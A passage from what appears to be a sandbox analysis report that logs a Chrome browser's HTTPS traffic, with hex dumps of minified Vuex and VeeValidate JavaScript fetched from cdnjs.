74 68 69 73 3b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 7b 7d 29 2c 72 28 45 2c 22 6d 75 73 74 20 63 61 6c 6c 20 
56 75 65 2e 75 73 65 28 56 75 65 78 29 20 62 65 66 6f 72 65 20 63 72 65 61 74 69 6e 67 20 61 20 73 74 6f 72 65 20 69 
6e 73 74 61 6e 63 65 2e 22 29 2c 72 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 6
5 2c 22 76 75 65 78 20 72 65 71 75 69 72 65 73 20 61 20 50 72 6f 6d 69 73 65 20 70 6f 6c 79 66 69 6c 6c 20 69 6e 20 74 
68 69 73 20 62 72 6f 77 73 65 72 2e 22 29 3b 76 61 72 20 6f 3d 65 2e 73 74 61 74 65 3b 76 6f 69 64 20 30 3d 3d 3d 6f 26 
26 28 6f 3d 7b 7d 29 3b 76 61 72 20 69 3d 65 2e 70 6c 75 67 69 6e 
Data Ascii: fa5(n)};var E,k=function(e){var n=this;void 0===e&&(e={}),r(E,"must call Vue.use(Vuex) before creating a store 
instance."),r("undefined"!=typeof Promise,"vuex requires a Promise polyfill in this browser.");var o=e.state;void 0===o&&
(o={});var i=e.plugin

2022-05-13 14:40:11 UTC 706 IN Data Raw: 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 5b 76 75 65 78 5d 20 75 6e 6b 6e 6f 77 6e 20 6d 75 74 61 74 
69 6f 6e 20 74 79 70 65 3a 20 22 2b 69 29 7d 2c 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 64 69 73 70 61 74 63 68 3d 66 75 6e 
63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 76 28 74 2c 65 29 2c 6f 3d 6e 2e 74 79 70 65 2c 72 3d 6e 2e 70 61 
79 6c 6f 61 64 2c 69 3d 74 68 69 73 2e 5f 61 63 74 69 6f 6e 73 5b 6f 5d 3b 72 65 74 75 72 6e 20 69 3f 69 2e 6c 65 6e 67 
74 68 3e 31 3f 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 69 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 
6e 20 74 28 72 29 7d 29 29 3a 69 5b 30 5d 28 72 29 3a 76 6f 69 64 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 5b 76 
75 65 78 5d 20 75 6e 6b 6e 6f 77 6e 20 61 63 74 69 6f 6e 20 
Data Ascii:  console.error("[vuex] unknown mutation type: "+i)},k.prototype.dispatch=function(t,e){var n=v(t,e),o=n.type
,r=n.payload,i=this._actions[o];return i?i.length>1?Promise.all(i.map(function(t){return t(r)})):i[0](r):void console.error("[vuex] 
unknown action 

2022-05-13 14:40:11 UTC 707 IN Data Raw: 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 6b 2e 70 72 6f 74 6f 74 79 70 65 2c 6a 29 2c 22 75 6e 64 65 66 69 
6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 56 75 65 26 26 79 28 77 69 6e 64 6f 
77 2e 56 75 65 29 3b 76 61 72 20 43 3d 67 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 7b 7d 3b 72 
65 74 75 72 6e 20 5f 28 65 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6b 
65 79 2c 72 3d 65 2e 76 61 6c 3b 6e 5b 6f 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 24 
73 74 6f 72 65 2e 73 74 61 74 65 2c 6e 3d 74 68 69 73 2e 24 73 74 6f 72 65 2e 67 65 74 74 65 72 73 3b 69 66 28 74 29 7
b 76 61 72 20 6f 3d 77 28 74 68 69 73 2e 24 73 74 6f 72 65 2c 22 
Data Ascii: ineProperties(k.prototype,j),"undefined"!=typeof window&&window.Vue&&y(window.Vue);var C=g(function(t,e)
{var n={};return _(e).forEach(function(e){var o=e.key,r=e.val;n[o]=function(){var e=this.$store.state,n=this.$store.getters;
if(t){var o=w(this.$store,"

2022-05-13 14:40:11 UTC 708 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

32 192.168.2.3 49754 104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:11 UTC 708 OUT GET /ajax/libs/vee-validate/2.0.0-rc.3/vee-validate.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:12 UTC 726 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:12 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb04018-a668"
Last-Modified: Mon, 04 May 2020 16:17:28 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: MISS
Expires: Wed, 03 May 2023 14:40:12 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KQQ2KQjU1LB352AQLtrD73FYtQxNB89t
Mdn%2FvoKZlaKukPms5FFx8eWvqiTfE2NI1zYmBAGYK6ZvOLgEonvi118ZykmQ6JPPFIDVcTw2T%2BLA1daJEIJlTE
wBRHz%2FuhcqhObA%2BQi4"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 70ac25da687f5b4a-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:12 UTC 727 IN Data Raw: 38 38 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 
20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 
75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 
6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 65 2e 56 65 65 56 61 6c 69 64 61 74 65 3d 
74 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 
69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 2e 64 65 66 61 75 6c 
74 3a 65 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 72 65 
Data Ascii: 88a!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"functio
n"==typeof define&&define.amd?define(t):e.VeeValidate=t()}(this,function(){"use strict";function e(e){return e&&e.__esMo
dule?e.default:e}function t(e,t){re

2022-05-13 14:40:12 UTC 727 IN Data Raw: 74 73 7d 76 61 72 20 69 3d 7b 65 6e 3a 2f 5e 5b 41 2d 5a 5d 2a 24 2f 69 2c 63 73 3a 2f 5e 5b 41 2d 5a c3 81 
c4 8c c4 8e c3 89 c4 9a c3 8d c5 87 c3 93 c5 98 c5 a0 c5 a4 c3 9a c5 ae c3 9d c5 bd 5d 2a 24 2f 69 2c 64 61 3a 2f 5e 5b 
41 2d 5a c3 86 c3 98 c3 85 5d 2a 24 2f 69 2c 64 65 3a 2f 5e 5b 41 2d 5a c3 84 c3 96 c3 9c c3 9f 5d 2a 24 2f 69 2c 65 73 
3a 2f 5e 5b 41 2d 5a c3 81 c3 89 c3 8d c3 91 c3 93 c3 9a c3 9c 5d 2a 24 2f 69 2c 66 72 3a 2f 5e 5b 41 2d 5a c3 80 c3 82 
c3 86 c3 87 c3 89 c3 88 c3 8a c3 8b c3 8f c3 8e c3 94 c5 92 c3 99 c3 9b c3 9c c5 b8 5d 2a 24 2f 69 2c 6e 6c 3a 2f 5e 5b 
41 2d 5a c3 89 c3 8b c3 8f c3 93 c3 96 c3 9c 5d 2a 24 2f 69 2c 68 75 3a 2f 5e 5b 41 2d 5a c3 81 c3 89 c3 8d c3 93 c3 96 
c5 90 c3 9a c3 9c c5 b0 5d 2a 24 2f 69 2c 70 6c 3a 2f 5e 
Data Ascii: ts}var i={en:/^[A-Z]*$/i,cs:/^[A-Z]*$/i,da:/^[A-Z]*$/i,de:/^[A-Z]*$/i,es:/^[A-Z]*$/i,fr:/^[A-Z]*$/i,nl:/^[A-Z]*$/i,hu:/^[A-
Z]*$/i,pl:/^

2022-05-13 14:40:12 UTC 728 IN Data Raw: c5 83 c3 93 c5 bb c5 b9 5d 2a 24 2f 69 2c 70 74 3a 2f 5e 5b 30 2d 39 41 2d 5a c3 83 c3 81 c3 80 c3 82 c3 87 
c3 89 c3 8a c3 8d c3 95 c3 93 c3 94 c3 9a c3 9c 5d 2a 24 2f 69 2c 72 75 3a 2f 5e 5b 30 2d 39 d0 90 2d d0 af d0 81 5d 2a 
24 2f 69 2c 73 72 3a 2f 5e 5b 30 2d 39 41 2d 5a c4 8c c4 86 c5 bd c5 a0 c4 90 5d 2a 24 2f 69 2c 74 72 3a 2f 5e 5b 30 2d 
39 41 2d 5a c3 87 c4 9e c4 b0 c4 b1 c3 96 c5 9e c3 9c 5d 2a 24 2f 69 2c 75 6b 3a 2f 5e 5b 30 2d 39 d0 90 2d d0 a9 d0 ac 
d0 ae d0 af d0 84 49 d0 87 d2 90 5d 2a 24 2f 69 2c 61 72 3a 2f 5e 5b d9 a0 d9 a1 d9 a2 d9 a3 d9 a4 d9 a5 d9 a6 d9 a7 
d9 a8 d9 a9 30 2d 39 d8 a1 d8 a2 d8 a3 d8 a4 d8 a5 d8 a6 d8 a7 d8 a8 d8 a9 d8 aa d8 ab d8 ac d8 ad d8 ae d8 af d8 b0 
d8 b1 d8 b2 d8 b3 d8 b4 d8 b5 d8 b6 d8 b7 d8 b8 d8 b9 d8 ba d9 
Data Ascii: ]*$/i,pt:/^[0-9A-Z]*$/i,ru:/^[0-9-]*$/i,sr:/^[0-9A-Z]*$/i,tr:/^[0-9A-Z]*$/i,uk:/^[0-9-I]*$/i,ar:/^[0-9

2022-05-13 14:40:12 UTC 729 IN Data Raw: 37 66 66 61 0d 0a c3 8b c3 8f c3 93 c3 96 c3 9c 5f 2d 5d 2a 24 2f 69 2c 68 75 3a 2f 5e 5b 30 2d 39 41 2d 5a 
c3 81 c3 89 c3 8d c3 93 c3 96 c5 90 c3 9a c3 9c c5 b0 5f 2d 5d 2a 24 2f 69 2c 70 6c 3a 2f 5e 5b 30 2d 39 41 2d 5a c4 84 
c4 86 c4 98 c5 9a c5 81 c5 83 c3 93 c5 bb c5 b9 5f 2d 5d 2a 24 2f 69 2c 70 74 3a 2f 5e 5b 30 2d 39 41 2d 5a c3 83 c3 81 
c3 80 c3 82 c3 87 c3 89 c3 8a c3 8d c3 95 c3 93 c3 94 c3 9a c3 9c 5f 2d 5d 2a 24 2f 69 2c 72 75 3a 2f 5e 5b 30 2d 39 d0 
90 2d d0 af d0 81 5f 2d 5d 2a 24 2f 69 2c 73 72 3a 2f 5e 5b 30 2d 39 41 2d 5a c4 8c c4 86 c5 bd c5 a0 c4 90 5f 2d 5d 2a 
24 2f 69 2c 74 72 3a 2f 5e 5b 30 2d 39 41 2d 5a c3 87 c4 9e c4 b0 c4 b1 c3 96 c5 9e c3 9c 5f 2d 5d 2a 24 2f 69 2c 75 6b 
3a 2f 5e 5b 30 2d 39 d0 90 2d d0 a9 d0 ac d0 ae d0 af d0 
Data Ascii: 7ffa_-]*$/i,hu:/^[0-9A-Z_-]*$/i,pl:/^[0-9A-Z_-]*$/i,pt:/^[0-9A-Z_-]*$/i,ru:/^[0-9-_-]*$/i,sr:/^[0-9A-Z_-]*$/i,tr:/^[0-9A-
Z_-]*$/i,uk:/^[0-9-
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2022-05-13 14:40:12 UTC 730 IN Data Raw: 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 29 2c 68 3d 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 
7b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 28 30 2c 6e 2e 64 65 66 61 75 6c 74 29 28 65 29 3b 76 61 72 20 74 3d 65 
2e 72 65 70 6c 61 63 65 28 2f 5b 5e 30 2d 39 5d 2b 2f 67 2c 22 22 29 3b 69 66 28 21 72 2e 74 65 73 74 28 74 29 29 72 
65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 69 3d 30 2c 73 3d 76 6f 69 64 20 30 2c 6f 3d 76 6f 69 64 20 30 2c 61 3d 
76 6f 69 64 20 30 2c 75 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 75 3e 3d 30 3b 75 2d 2d 29 73 3d 74 2e 73 75 62 73 74 72 
69 6e 67 28 75 2c 75 2b 31 29 2c 6f 3d 70 61 72 73 65 49 6e 74 28 73 2c 31 30 29 2c 61 3f 28 6f 2a 3d 32 2c 69 2b 3d 6f 
3e 3d 31 30 3f 6f 25 31 30 2b 31 3a 6f 29 3a 69 2b 3d 6f 2c 61 3d 
Data Ascii: xports=t.default}),h=t(function(e,t){function i(e){(0,n.default)(e);var t=e.replace(/[^0-9]+/g,"");if(!r.test(t))retur
n!1;for(var i=0,s=void 0,o=void 0,a=void 0,u=t.length-1;u>=0;u--)s=t.substring(u,u+1),o=parseInt(s,10),a?(o*=2,i+=o>=10?
o%10+1:o):i+=o,a=

2022-05-13 14:40:12 UTC 731 IN Data Raw: 3c 65 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 7b 69 66 28 21 2f 5c 2e 28 6a 70 67 7c 73 76 67 7c 6a 70 65 67 7c 
70 6e 67 7c 62 6d 70 7c 67 69 66 29 24 2f 69 2e 74 65 73 74 28 65 5b 73 5d 2e 6e 61 6d 65 29 29 72 65 74 75 72 6e 21 
31 3b 72 2e 70 75 73 68 28 65 5b 73 5d 29 7d 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 72 2e 6d 61 70 
28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 67 28 65 2c 69 2c 6e 29 7d 29 29 7d 2c 62 3d 74 28 66 75 6
e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 
2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 
6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 61 72 67 75 6d 65 6e 74 73 5b 31 
Data Ascii: <e.length;s++){if(!/\.(jpg|svg|jpeg|png|bmp|gif)$/i.test(e[s].name))return!1;r.push(e[s])}return Promise.all
(r.map(function(e){return g(e,i,n)}))},b=t(function(e,t){function i(){var e=arguments.length>0&&void 0!==arguments[0]?ar
guments[0]:{},t=arguments[1

2022-05-13 14:40:12 UTC 733 IN Data Raw: 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 22 29 29 2c 21 2f 5e 5b 61 2d 7a 5c 75 30 30 61 31 
2d 5c 75 66 66 66 66 30 2d 39 2d 5d 2b 24 2f 69 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 2f 5b 
5c 75 66 66 30 31 2d 5c 75 66 66 35 65 5d 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 22 2d 22 
3d 3d 3d 61 5b 30 5d 7c 7c 22 2d 22 3d 3d 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 29 72 65 74 75 72 6e 21 31 7d 72 
65 74 75 72 6e 21 30 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 
75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 6e 3b 76 61 72 20 72 3d 69 28 64 29 
2c 73 3d 69 28 62 29 2c 6f 3d 7b 72 65 71 75 69 72 65 5f 74 6c 64 3a 
Data Ascii: (a=a.replace(/_/g,"")),!/^[a-z\u00a1-\uffff0-9-]+$/i.test(a))return!1;if(/[\uff01-\uff5e]/.test(a))return!1;if("-"===a
[0]||"-"===a[a.length-1])return!1}return!0}Object.defineProperty(t,"__esModule",{value:!0}),t.default=n;var r=i(d),s=i(b),o=
{require_tld:

2022-05-13 14:40:12 UTC 734 IN Data Raw: 2b 29 3e 24 2f 69 2c 63 3d 2f 5e 5b 61 2d 7a 5c 64 21 23 5c 24 25 26 27 5c 2a 5c 2b 5c 2d 5c 2f 3d 5c 3f 5c 5e 
5f 60 7b 5c 7c 7d 7e 5d 2b 24 2f 69 2c 66 3d 2f 5e 28 5b 5c 73 5c 78 30 31 2d 5c 78 30 38 5c 78 30 62 5c 78 30 63 5c 78 
30 65 2d 5c 78 31 66 5c 78 37 66 5c 78 32 31 5c 78 32 33 2d 5c 78 35 62 5c 78 35 64 2d 5c 78 37 65 5d 7c 28 5c 5c 5b 
5c 78 30 31 2d 5c 78 30 39 5c 78 30 62 5c 78 30 63 5c 78 30 64 2d 5c 78 37 66 5d 29 29 2a 24 2f 69 2c 68 3d 2f 5e 5b 61 
2d 7a 5c 64 21 23 5c 24 25 26 27 5c 2a 5c 2b 5c 2d 5c 2f 3d 5c 3f 5c 5e 5f 60 7b 5c 7c 7d 7e 5c 75 30 30 41 30 2d 5c 75 
44 37 46 46 5c 75 46 39 30 30 2d 5c 75 46 44 43 46 5c 75 46 44 46 30 2d 5c 75 46 46 45 46 5d 2b 24 2f 69 2c 70 3d 2f 
5e 28 5b 5c 73 5c 78 30 31 2d 5c 78 30 38 5c 78 30 62 5c 78 
Data Ascii: +)>$/i,c=/^[a-z\d!#\$%&'\*\+\-\/=\?\^_`{\|}~]+$/i,f=/^([\s\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e]|(\\
[\x01-\x09\x0b\x0c\x0d-\x7f]))*$/i,h=/^[a-z\d!#\$%&'\*\+\-\/=\?\^_`{\|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+
$/i,p=/^([\s\x01-\x08\x0b\x

2022-05-13 14:40:12 UTC 735 IN Data Raw: 67 74 68 3d 3d 3d 6c 7d 72 65 74 75 72 6e 21 31 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 
74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 
69 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 
6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 28 64 29 2c 72 3d 2f 5e 28 5c 64 7b 31 2c 33 7d 29 5c 2e 28 5c 64 
7b 31 2c 33 7d 29 5c 2e 28 5c 64 7b 31 2c 33 7d 29 5c 2e 28 5c 64 7b 31 2c 33 7d 29 24 2f 2c 73 3d 2f 5e 5b 30 2d 39 41 
2d 46 5d 7b 31 2c 34 7d 24 2f 69 3b 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 29 2c 6a 3d 65 28 4f 29 
2c 53 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 6f 69 
Data Ascii: gth===l}return!1}Object.defineProperty(t,"__esModule",{value:!0}),t.default=i;var n=function(e){return e&&e.
__esModule?e:{default:e}}(d),r=/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/,s=/^[0-9A-F]{1,4}$/i;e.exports=t.default})
,j=e(O),S=function(e,t){voi

2022-05-13 14:40:12 UTC 737 IN Data Raw: 6f 6e 20 72 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 74 2e 6c 65 6e 67 74 68 3b 69 2b 2b 
29 7b 76 61 72 20 72 3d 74 5b 69 5d 3b 69 66 28 65 3d 3d 3d 72 7c 7c 6e 28 72 29 26 26 72 2e 74 65 73 74 28 65 29 29 
72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 69 66 28 28 30 
2c 6f 2e 64 65 66 61 75 6c 74 29 28 65 29 2c 21 65 7c 7c 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 38 33 7c 7c 2f 5b 5c 73 3c 
3e 5d 2f 2e 74 65 73 74 28 65 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 30 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 6
d 61 69 6c 74 6f 3a 22 29 29 72 65 74 75 72 6e 21 31 3b 74 3d 28 30 2c 6c 2e 64 65 66 61 75 6c 74 29 28 74 2c 63 29 3b 
76 61 72 20 69 3d 76 6f 69 64 20 30 2c 6e 3d 76 6f 69 64 20 30 2c 
Data Ascii: on r(e,t){for(var i=0;i<t.length;i++){var r=t[i];if(e===r||n(r)&&r.test(e))return!0}return!1}function s(e,t){if((0,o.d
efault)(e),!e||e.length>=2083||/[\s<>]/.test(e))return!1;if(0===e.indexOf("mailto:"))return!1;t=(0,l.default)(t,c);var i=void 0,n=
void 0,

2022-05-13 14:40:12 UTC 738 IN Data Raw: 74 72 61 69 6c 69 6e 67 5f 64 6f 74 3a 21 31 2c 61 6c 6c 6f 77 5f 70 72 6f 74 6f 63 6f 6c 5f 72 65 6c 61 74 69 
76 65 5f 75 72 6c 73 3a 21 31 7d 2c 66 3d 2f 5e 5c 5b 28 5b 5e 5c 5d 5d 2b 29 5c 5d 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 
29 3f 24 2f 3b 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 29 2c 43 3d 65 28 7a 29 2c 49 3d 66 75 6e 
63 74 69 6f 6e 28 65 2c 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 5b 21 30 5d 29 3b 76 61 72 20 69 3d 74 
5b 30 5d 3b 72 65 74 75 72 6e 20 43 28 65 2c 7b 72 65 71 75 69 72 65 5f 70 72 6f 74 6f 63 6f 6c 3a 21 21 69 7d 29 7d 2c 
55 3d 7b 61 6c 70 68 61 5f 64 61 73 68 3a 61 2c 61 6c 70 68 61 5f 6e 75 6d 3a 75 2c 61 6c 70 68 61 5f 73 70 61 63 65 73 
3a 6c 2c 61 6c 70 68 61 3a 6f 2c 62 65 74 77 65 65 6e 3a 63 
Data Ascii: trailing_dot:!1,allow_protocol_relative_urls:!1},f=/^\[([^\]]+)\](?::([0-9]+))?$/;e.exports=t.default}),C=e(z),I=funct
ion(e,t){void 0===t&&(t=[!0]);var i=t[0];return C(e,{require_protocol:!!i})},U={alpha_dash:a,alpha_num:u,alpha_spaces:l,
alpha:o,between:c

2022-05-13 14:40:12 UTC 739 IN Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 72 72 6f 72 73 2e 6c 65 6e 67 74 68 7d 2c 
47 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 72 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 
68 69 73 3b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 22 5f 5f 67 6c 6f 62 61 6c 5f 5f 22 29 3b 76 61 72 20 6e 3d 74 
68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 28 65 29 2c 72 3d 74 68 69 73 2e 5f 73 63 6f 70 65 28 65 29 3b 69 66 28 72 29 7b 
76 61 72 20 73 3d 74 68 69 73 2e 66 69 72 73 74 28 72 2e 6e 61 6d 65 2c 72 2e 73 63 6f 70 65 29 3b 69 66 28 73 29 72 
65 74 75 72 6e 20 73 7d 69 66 28 6e 29 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 72 73 74 42 79 52 75 6c 65 28 6e 2e 
6e 61 6d 65 2c 6e 2e 72 75 6c 65 2c 74 29 3b 66 6f 72 28 76 61 72 
Data Ascii: nction(){return this.errors.length},G.prototype.first=function(e,t){var i=this;void 0===t&&(t="__global__");var 
n=this._selector(e),r=this._scope(e);if(r){var s=this.first(r.name,r.scope);if(s)return s}if(n)return this.firstByRule(n.name,
n.rule,t);for(var

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 159 of 286



2022-05-13 14:40:12 UTC 741 IN Data Raw: 72 6d 2c 22 73 63 6f 70 65 22 29 29 2c 74 7d 2c 4b 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 66 
28 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 76 6f 69 64 20 30 29 2c 21 65 7c 7c 21 74 29 72 65 74 75 72 6e 20 69 
3b 76 61 72 20 6e 3d 74 3b 72 65 74 75 72 6e 20 65 2e 73 70 6c 69 74 28 22 2e 22 29 2e 65 76 65 72 79 28 66 75 6e 63 
74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 
6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 65 29 3f 28 6e 3d 6e 5b 65 5d 2c 21 30 29 3a 28 6e 3d 69 2c 21 31 29 7d 29 2
c 6e 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 30 29 3b 
76 61 72 20 6e 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 
Data Ascii: rm,"scope")),t},K=function(e,t,i){if(void 0===i&&(i=void 0),!e||!t)return i;var n=t;return e.split(".").every(function
(e){return Object.prototype.hasOwnProperty.call(n,e)?(n=n[e],!0):(n=i,!1)}),n},H=function(e,t,i){void 0===t&&(t=0);var n
;return function(

2022-05-13 14:40:12 UTC 742 IN Data Raw: 74 29 7b 6e 5b 74 5d 3d 65 5b 74 5d 7d 29 7d 29 2c 6e 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 
7b 69 66 28 65 2e 66 69 6e 64 29 72 65 74 75 72 6e 20 65 2e 66 69 6e 64 28 74 29 3b 76 61 72 20 69 3b 72 65 74 75 72 
6e 20 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 74 28 65 29 26 26 28 69 3d 65 
2c 21 30 29 7d 29 2c 69 7d 2c 61 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 72 65 74 75 72 6e 20 65 3f 22 7
3 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 3a 7e 5b 22 73 74 72 69 6e 67 22 2c 22 6f 62 6a 65 63 74 22 5d 
2e 69 6e 64 65 78 4f 66 28 74 79 70 65 6f 66 20 74 2e 72 75 6c 65 73 29 3f 74 2e 72 75 6c 65 73 3a 74 3a 59 28 69 2c 22 
72 75 6c 65 73 22 29 7d 2c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 65 
Data Ascii: t){n[t]=e[t]})}),n},oe=function(e,t){if(e.find)return e.find(t);var i;return e.some(function(e){return!!t(e)&&(i=e,!0)
}),i},ae=function(e,t,i){return e?"string"==typeof t?t:~["string","object"].indexOf(typeof t.rules)?t.rules:t:Y(i,"rules")},ue=fun
ction(e

2022-05-13 14:40:12 UTC 743 IN Data Raw: 69 63 74 69 6f 6e 61 72 79 5b 65 5d 2e 61 74 74 72 69 62 75 74 65 73 5b 74 5d 3d 69 7d 2c 75 65 2e 70 72 6f 
74 6f 74 79 70 65 2e 5f 6d 65 72 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 3b 
72 65 74 75 72 6e 20 58 28 65 29 26 26 58 28 74 29 3f 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 
